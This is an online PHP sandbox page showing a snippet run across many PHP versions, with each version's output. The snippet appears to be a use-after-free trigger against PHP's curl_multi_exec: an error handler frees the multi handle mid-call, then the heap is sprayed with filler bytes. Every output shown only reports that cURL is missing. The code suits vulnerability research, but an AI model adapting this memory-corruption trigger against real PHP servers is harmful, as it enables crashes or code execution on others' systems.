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run code in 300+ PHP versions simultaneously
<?php $ch1 = curl_init(); $ch2 = curl_init(); // set URL and other appropriate options curl_setopt($ch1, CURLOPT_URL, "http://lxr.php.net/"); curl_setopt($ch1, CURLOPT_HEADER, 0); curl_setopt($ch2, CURLOPT_URL, "http://www.php.net/"); curl_setopt($ch2, CURLOPT_HEADER, 0); //create the multiple cURL handle $mh = curl_multi_init(); //add the two handles curl_multi_add_handle($mh,$ch1); curl_multi_add_handle($mh,$ch2); set_error_handler("myErrorHandler"); echo "before call\n"; curl_multi_exec($mh, new dummyclass()); echo "after call\n"; //imagecolorat($GLOBALS['img'], $addr >> 2, new dummyclass()); class dummyclass { } function myErrorHandler($errno, $errstr) { curl_multi_close($GLOBALS["mh"]); for ($i = 0; $i < 600000; $i++) $GLOBALS['x' . $i] = str_repeat(chr(0x55), 0x24); echo "$errstr\n"; return true; }
Output for 7.0.0 - 7.0.33, 7.1.0 - 7.1.25, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
Fatal error: Uncaught Error: Call to undefined function curl_init() in /in/M4XMP:3 Stack trace: #0 {main} thrown in /in/M4XMP on line 3
Process exited with code 255.
Output for 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.38
Fatal error: Call to undefined function curl_init() in /in/M4XMP on line 3
Process exited with code 255.
Output for 4.4.5 - 4.4.9
Fatal error: Call to undefined function: curl_init() in /in/M4XMP on line 3
Process exited with code 255.
Output for 4.3.2 - 4.3.11, 4.4.0 - 4.4.4
Fatal error: Call to undefined function: curl_init() in /in/M4XMP on line 3
Process exited with code 255.
Output for 4.3.0 - 4.3.1
Fatal error: Call to undefined function: curl_init() in /in/M4XMP on line 3

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314.18 ms | 401 KiB | 424 Q